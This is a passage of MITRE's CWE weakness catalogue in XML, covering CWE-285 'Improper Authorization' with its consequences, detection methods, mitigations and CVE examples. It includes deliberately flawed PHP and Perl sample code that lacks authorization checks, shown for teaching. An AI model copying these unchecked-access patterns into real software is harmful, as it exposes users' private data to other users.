				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Alternate_Terms,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated References,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal" Modification_Importance="Critical">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-24</Modification_Date>
					          <Modification_Comment>Changed name and description; clarified difference between
						"access control" and "authorization."</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Alternate_Terms, Background_Details, Description,
						Maintenance_Notes, Name, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated References, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-09-09">Access Control
						Issues</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2011-03-29">Access Control
						(Authorization) Issues</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="285" Name="Improper Authorization" Weakness_Abstraction="Class" Status="Draft">
			      <Description>
				        <Description_Summary>The software does not perform or incorrectly performs an
					authorization check when an actor attempts to access a resource or perform an
					action.</Description_Summary>
				        <Extended_Description>
					          <Text>Assuming a user with a given identity, authorization is the process of
						determining whether that user can access a given resource, based on the
						user's privileges and any permissions or other access-control specifications
						that apply to the resource.</Text>
					          <Text>When access control checks are not applied consistently - or not at all -
						users are able to access data or perform actions that they should not be
						allowed to perform. This can lead to a wide range of problems, including
						information exposures, denial of service, and arbitrary code
						execution.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">800</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>803</Relationship_Target_ID>
					          <!--2010 Top 25 - Porous Defenses-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>284</Relationship_Target_ID>
					          <!--Improper Access Control-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">700</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>254</Relationship_Target_ID>
					          <!--Security Features-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">629</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>721</Relationship_Target_ID>
					          <!--OWASP Top Ten 2007 Category A10 - Failure to Restrict URL Access-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>723</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A2 - Broken Access Control-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">750</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>753</Relationship_Target_ID>
					          <!--2009 Top 25 - Porous Defenses-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">809</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>817</Relationship_Target_ID>
					          <!--OWASP Top Ten 2010 Category A8 - Failure to Restrict URL Access-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>840</Relationship_Target_ID>
					          <!--Business Logic Errors-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>899</Relationship_Target_ID>
					          <!--SFP Cluster: Access Control-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="Language-independent"/>
				        </Languages>
				        <Technology_Classes>
					          <Technology_Class Technology_Name="Web-Server" Prevalence="Often"/>
					          <Technology_Class Technology_Name="Database-Server" Prevalence="Often"/>
				        </Technology_Classes>
			      </Applicable_Platforms>
			      <Background_Details>
				        <Background_Detail>
					          <Text>An access control list (ACL) represents who/what has permissions to a
						given object. Different operating systems implement (ACLs) in different
						ways. In UNIX, there are three types of permissions: read, write, and
						execute. Users are divided into three classes for file access: owner, group
						owner, and all other users where each class has a separate set of rights. In
						Windows NT, there are four basic types of permissions for files: "No
						access", "Read access", "Change access", and "Full control". Windows NT
						extends the concept of three types of users in UNIX to include a list of
						users and groups along with their associated permissions. A user can create
						an object (file) and assign specified permissions to that object.</Text>
				        </Background_Detail>
			      </Background_Details>
			      <Alternate_Terms>
				        <Alternate_Term>
					          <Term>AuthZ</Term>
					          <Alternate_Term_Description>
						            <Text>"AuthZ" is typically used as an abbreviation of "authorization" within
							the web application security community. It is also distinct from
							"AuthC," which is an abbreviation of "authentication." The use of "Auth"
							as an abbreviation is discouraged, since it could be used for either
							authentication or authorization.</Text>
					          </Alternate_Term_Description>
				        </Alternate_Term>
			      </Alternate_Terms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Modes_of_Introduction>
				        <Mode_of_Introduction>
					          <Text>A developer may introduce authorization weaknesses because of a lack of
						understanding about the underlying technologies. For example, a developer
						may assume that attackers cannot modify certain inputs such as headers or
						cookies.</Text>
				        </Mode_of_Introduction>
				        <Mode_of_Introduction>
					          <Text>Authorization weaknesses may arise when a single-user application is
						ported to a multi-user environment.</Text>
				        </Mode_of_Introduction>
			      </Modes_of_Introduction>
			      <Likelihood_of_Exploit>High</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Read files or
						directories</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>An attacker could read sensitive data, either by reading the data
							directly from a data store that is not properly restricted, or by
							accessing insufficiently-protected, privileged functionality to read the
							data.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify files or
						directories</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>An attacker could modify sensitive data, either by writing the data
							directly to a data store that is not properly restricted, or by
							accessing insufficiently-protected, privileged functionality to write
							the data.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>An attacker could gain privileges by modifying or reading critical
							data directly, or by accessing insufficiently-protected, privileged
							functionality.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Detection_Methods>
				        <Detection_Method Detection_Method_ID="DM-6">
					          <Method_Name>Automated Static Analysis</Method_Name>
					          <Method_Description>
						            <Text>Automated static analysis is useful for detecting commonly-used idioms
							for authorization. A tool may be able to analyze related configuration
							files, such as .htaccess in Apache web servers, or detect the usage of
							commonly-used authorization libraries.</Text>
						            <Text>Generally, automated static analysis tools have difficulty detecting
							custom authorization schemes. In addition, the software's design may
							include some functionality that is accessible to any user and does not
							require an authorization check; an automated technique that detects the
							absence of authorization may report false positives.</Text>
					          </Method_Description>
					          <Method_Effectiveness>Limited</Method_Effectiveness>
				        </Detection_Method>
				        <Detection_Method>
					          <Method_Name>Automated Dynamic Analysis</Method_Name>
					          <Method_Description>
						            <Text>Automated dynamic analysis may find many or all possible interfaces
							that do not require authorization, but manual analysis is required to
							determine if the lack of authorization violates business logic</Text>
					          </Method_Description>
				        </Detection_Method>
				        <Detection_Method>
					          <Method_Name>Manual Analysis</Method_Name>
					          <Method_Description>
						            <Text>This weakness can be detected using tools and techniques that require
							manual (human) analysis, such as penetration testing, threat modeling,
							and interactive tools that allow the tester to record and modify an
							active session. </Text>
						            <Text>Specifically, manual static analysis is useful for evaluating the
							correctness of custom authorization mechanisms.</Text>
					          </Method_Description>
					          <Method_Effectiveness>Moderate</Method_Effectiveness>
					          <Method_Effectiveness_Notes>
						            <Text> These may be more effective than strictly automated techniques. This
							is especially the case with weaknesses that are related to design and
							business rules. However, manual efforts might not achieve desired code
							coverage within limited time constraints.</Text>
					          </Method_Effectiveness_Notes>
				        </Detection_Method>
			      </Detection_Methods>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Divide the software into anonymous, normal, privileged, and
							administrative areas. Reduce the attack surface by carefully mapping
							roles with data and functionality. Use role-based access control (RBAC)
							to enforce the roles at the appropriate boundaries.</Text>
						            <Text>Note that this approach may not protect against horizontal
							authorization, i.e., it will not protect a user from attacking others
							with the same role.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Ensure that you perform access control checks related to your business
							logic. These checks may be different than the access control checks that
							you apply to more generic resources such as files, connections,
							processes, memory, and database records. For example, a database may
							restrict access for medical records to a specific database user, but
							each record might only be intended to be accessible to the patient and
							the patient's doctor.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-4.4">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Strategy>Libraries or Frameworks</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Use a vetted library or framework that does not allow this weakness to
							occur or provides constructs that make this weakness easier to
							avoid.</Text>
						            <Text>For example, consider using authorization frameworks such as the JAAS
							Authorization Framework [R.285.5] and the OWASP ESAPI Access Control
							feature [R.285.4].</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>For web applications, make sure that the access control mechanism is
							enforced correctly at the server side on every page. Users should not be
							able to access any unauthorized functionality or information by simply
							requesting direct access to that page.</Text>
						            <Text>One way to do this is to ensure that all pages containing sensitive
							information are not cached, and that all such pages restrict access to
							requests that are accompanied by an active and authenticated session
							token associated with a user who has the required permissions to access
							that page.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>System Configuration</Mitigation_Phase>
					          <Mitigation_Phase>Installation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use the access control capabilities of your operating system and
							server environment and define your access control lists accordingly. Use
							a "default deny" policy when defining these ACLs.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-95">
					          <Intro_Text>This function runs an arbitrary SQL query on a given database,
						returning the result of the query.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>PHP</Code_Example_Language>
							              <Code> function runEmployeeQuery($dbName, $name){</Code>
							              <Block>
								                <Code> mysql_select_db($dbName,$globalDbHandle) or die("Could not
									open Database".$dbName);</Code>
								                <Comment> //Use a prepared statement to avoid CWE-89</Comment>
								                <Code> $preparedStatement = $globalDbHandle-&gt;prepare('SELECT *
									FROM employees WHERE name = :name');</Code>
								                <Code> $preparedStatement-&gt;execute(array(':name' =&gt;
									$name));</Code>
								                <Code> return $preparedStatement-&gt;fetchAll();</Code>
							              </Block>
							              <Code>}</Code>
							              <Comment>/.../</Comment>
							              <Code>$employeeRecord =
								runEmployeeQuery('EmployeeDB',$_GET['EmployeeName']);</Code>
						            </Block>
						            <Text>While this code is careful to avoid SQL Injection, the function does
							not confirm the user sending the query is authorized to do so. An
							attacker may be able to obtain sensitive employee information from the
							database.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-96">
					          <Intro_Text>The following program could be part of a bulletin board system that
						allows users to send private messages to each other. This program intends to
						authenticate the user before deciding whether a private message should be
						displayed. Assume that LookupMessageObject() ensures that the $id argument
						is numeric, constructs a filename based on that id, and reads the message
						details from that file. Also assume that the program stores all private
						messages for all users in the same directory.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Perl</Code_Example_Language>
							              <Code>sub DisplayPrivateMessage {</Code>
							              <Block>
								                <Code>my($id) = @_;</Code>
								                <Code>my $Message = LookupMessageObject($id);</Code>
								                <Code>print "From: " . encodeHTML($Message-&gt;{from}) .
									"&lt;br&gt;\n";</Code>
								                <Code>print "Subject: " . encodeHTML($Message-&gt;{subject}) .
									"\n";</Code>
								                <Code>print "&lt;hr&gt;\n";</Code>
								                <Code>print "Body: " . encodeHTML($Message-&gt;{body}) .
									"\n";</Code>
							              </Block>
							              <Code>}</Code>
							              <Code/>
							              <Code>my $q = new CGI;</Code>
							              <Comment># For purposes of this example, assume that CWE-309
								and</Comment>
							              <Comment># CWE-523 do not apply.</Comment>
							              <Code>if (! AuthenticateUser($q-&gt;param('username'),
								$q-&gt;param('password'))) {</Code>
							              <Block>
								                <Code>ExitError("invalid username or password");</Code>
							              </Block>
							              <Code>}</Code>
							              <Code/>
							              <Code>my $id = $q-&gt;param('id');</Code>
							              <Code>DisplayPrivateMessage($id);</Code>
						            </Block>
						            <Text>While the program properly exits if authentication fails, it does not
							ensure that the message is addressed to the user. As a result, an
							authenticated attacker could provide any arbitrary identifier and read
							private messages that were intended for other users.</Text>
						            <Text>One way to avoid this problem would be to ensure that the "to" field
							in the message object matches the username of the authenticated user.
						</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-3168</Observed_Example_Reference>
					          <Observed_Example_Description>Web application does not restrict access to admin
						scripts, allowing authenticated users to reset administrative
						passwords.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-2960</Observed_Example_Reference>
					          <Observed_Example_Description>Web application does not restrict access to admin
						scripts, allowing authenticated users to modify passwords of other
						users.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-3597</Observed_Example_Reference>
					          <Observed_Example_Description>Web application stores database file under the web
						root with insufficient access control (CWE-219), allowing direct
						request.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-2282</Observed_Example_Reference>
					          <Observed_Example_Description>Terminal server does not check authorization for
						guest access.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-3230</Observed_Example_Reference>
					          <Observed_Example_Description>Database server does not use appropriate
						privileges for certain sensitive operations.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-2213</Observed_Example_Reference>
					          <Observed_Example_Description>Gateway uses default "Allow" configuration for its
						authorization settings.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-0034</Observed_Example_Reference>
					          <Observed_Example_Description>Chain: product does not properly interpret a
						configuration option for a system group, allowing users to gain
						privileges.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-6123</Observed_Example_Reference>
					          <Observed_Example_Description>Chain: SNMP product does not properly parse a
						configuration option for which hosts are allowed to connect, allowing
						unauthorized IP addresses to connect.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-5027</Observed_Example_Reference>
					          <Observed_Example_Description>System monitoring software allows users to bypass
						authorization by creating custom forms.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-7109</Observed_Example_Reference>
					          <Observed_Example_Description>Chain: reliance on client-side security (CWE-602)
						allows attackers to bypass authorization using a custom
						client.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-3424</Observed_Example_Reference>
					          <Observed_Example_Description>Chain: product does not properly handle wildcards
						in an authorization policy list, allowing unintended
						access.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-3781</Observed_Example_Reference>
					          <Observed_Example_Description>Content management system does not check access
						permissions for private files, allowing others to view those
						files.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-4577</Observed_Example_Reference>
					          <Observed_Example_Description>ACL-based protection mechanism treats negative
						access rights as if they are positive, allowing bypass of intended
						restrictions.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-6548</Observed_Example_Reference>
					          <Observed_Example_Description>Product does not check the ACL of a page accessed
						using an "include" directive, allowing attackers to read unauthorized
						files.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-2925</Observed_Example_Reference>
					          <Observed_Example_Description>Default ACL list for a DNS server does not set
						certain ACLs, allowing unauthorized DNS
						queries.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-6679</Observed_Example_Reference>
					          <Observed_Example_Description>Product relies on the X-Forwarded-For HTTP header
						for authorization, allowing unintended access by spoofing the
						header.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-3623</Observed_Example_Reference>
					          <Observed_Example_Description>OS kernel does not check for a certain privilege
						before setting ACLs for files.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-2801</Observed_Example_Reference>
					          <Observed_Example_Description>Chain: file-system code performs an incorrect
						comparison (CWE-697), preventing default ACLs from being properly
						applied.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-1155</Observed_Example_Reference>
					          <Observed_Example_Description>Chain: product does not properly check the result
						of a reverse DNS lookup because of operator precedence (CWE-783), allowing
						bypass of DNS-based access restrictions.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <References>
				        <Reference Local_Reference_ID="R.285.1">
					          <Reference_Author>NIST</Reference_Author>
					          <Reference_Title>Role Based Access Control and Role Based
						Security</Reference_Title>
					          <Reference_Link>http://csrc.nist.gov/groups/SNS/rbac/</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-11" Local_Reference_ID="R.285.2">
					          <Reference_Author>M. Howard</Reference_Author>
					          <Reference_Author>D. LeBlanc</Reference_Author>
					          <Reference_Title>Writing Secure Code</Reference_Title>
					          <Reference_Section>Chapter 4, "Authorization" Page 114; Chapter 6, "Determining
						Appropriate Access Control" Page 171</Reference_Section>
					          <Reference_Edition>2nd Edition</Reference_Edition>
					          <Reference_Publisher>Microsoft</Reference_Publisher>
					          <Reference_PubDate>2002</Reference_PubDate>
				        </Reference>
				        <Reference Local_Reference_ID="R.285.3">
					          <Reference_Author>Frank Kim</Reference_Author>
					          <Reference_Title>Top 25 Series - Rank 5 - Improper Access Control
						(Authorization)</Reference_Title>
					          <Reference_Publisher>SANS Software Security Institute</Reference_Publisher>
					          <Reference_Date>2010-03-04</Reference_Date>
					          <Reference_Link>http://blogs.sans.org/appsecstreetfighter/2010/03/04/top-25-series-rank-5-improper-access-control-authorization/</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-21" Local_Reference_ID="R.285.4">
					          <Reference_Author>OWASP</Reference_Author>
					          <Reference_Title>OWASP Enterprise Security API (ESAPI) Project</Reference_Title>
					          <Reference_Link>http://www.owasp.org/index.php/ESAPI</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-23" Local_Reference_ID="R.285.5">
					          <Reference_Author>Rahul Bhattacharjee</Reference_Author>
					          <Reference_Title>Authentication using JAAS</Reference_Title>
					          <Reference_Link>http://www.javaranch.com/journal/2008/04/authentication-using-JAAS.html</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-7" Local_Reference_ID="R.285.6">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 2, "Common Vulnerabilities of Authorization", Page
						39.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
				        <Reference Reference_ID="REF-7" Local_Reference_ID="R.285.7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 11, "ACL Inheritance", Page 649.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="7 Pernicious Kingdoms">
					          <Mapped_Node_Name>Missing Access Control</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2007">
					          <Mapped_Node_Name>Failure to Restrict URL Access</Mapped_Node_Name>
					          <Mapped_Node_ID>A10</Mapped_Node_ID>
					          <Mapping_Fit>CWE_More_Specific</Mapping_Fit>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2004">
					          <Mapped_Node_Name>Broken Access Control</Mapped_Node_Name>
					          <Mapped_Node_ID>A2</Mapped_Node_ID>
					          <Mapping_Fit>CWE_More_Specific</Mapping_Fit>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>1</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>104</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>127</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>13</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>17</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>39</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>45</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>51</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>59</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>60</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>76</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>77</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>87</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>7 Pernicious Kingdoms</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier_Organization>Veracode</Modifier_Organization>
					          <Modification_Date>2008-08-15</Modification_Date>
					          <Modification_Comment>Suggested OWASP Top Ten 2004
						mapping</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-01-12</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Description,
						Likelihood_of_Exploit, Name, Other_Notes, Potential_Mitigations, References,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Description,
						Related_Attack_Patterns</Modification_Comment>
				        </Modification>
